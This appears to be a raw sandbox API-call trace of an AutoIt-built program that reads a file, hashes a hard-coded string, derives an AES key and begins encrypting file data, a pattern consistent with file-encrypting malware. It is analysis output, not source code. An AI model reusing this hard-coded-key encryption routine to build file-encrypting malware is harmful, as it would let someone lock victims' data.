nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0xb24, lpOverlapped=0x0) returned 1 [0024.149] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0024.149] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xb24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.149] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2852) returned 1 [0024.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.150] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.150] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.150] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.150] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.150] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.151] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.151] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.151] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.151] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.151] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.151] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.151] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.151] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.151] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.152] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.152] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.152] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.152] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.152] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.152] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.153] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.153] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.153] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.153] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40633d0) returned 1 [0024.153] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.153] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.153] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.153] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.153] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.153] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.153] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.153] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.153] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.153] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.153] CryptCreateHash (in: hProv=0xe8f40633d0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.154] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418bab0, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0024.155] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0024.155] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="4e358fdad0b60de5b4aaab66dab69723", cchWideChar=33, lpMultiByteStr=0xe8f418b960, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4e358fdad0b60de5b4aaab66dab69723", lpUsedDefaultChar=0x0) returned 33 [0024.155] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.156] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0024.157] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0xe8f417af60, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0024.157] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptHashData") returned 0x7ffe2a59e86c [0024.157] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b5d0, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.157] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.158] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.158] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.158] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.158] CryptDeriveKey (in: hProv=0xe8f40633d0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.158] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.158] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.159] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.159] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0024.159] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.159] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.160] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0024.160] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xb594, lpOverlapped=0x0) returned 1 [0024.162] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0024.164] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.164] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.164] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.164] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0024.164] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.165] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.165] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0024.165] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.165] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0024.165] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.165] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.165] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.165] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0024.166] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0024.167] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptGetKeyParam", cchWideChar=17, lpMultiByteStr=0xe8f417b000, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptGetKeyParam", lpUsedDefaultChar=0x0) returned 17 [0024.167] GetProcAddress (hModule=0x7ffe2a590000, lpProcName="CryptGetKeyParam") returned 0x7ffe2a5cb750 [0024.167] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064d10, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064d10*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0024.167] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.168] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0024.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.168] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.168] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.168] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.169] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.169] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.169] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 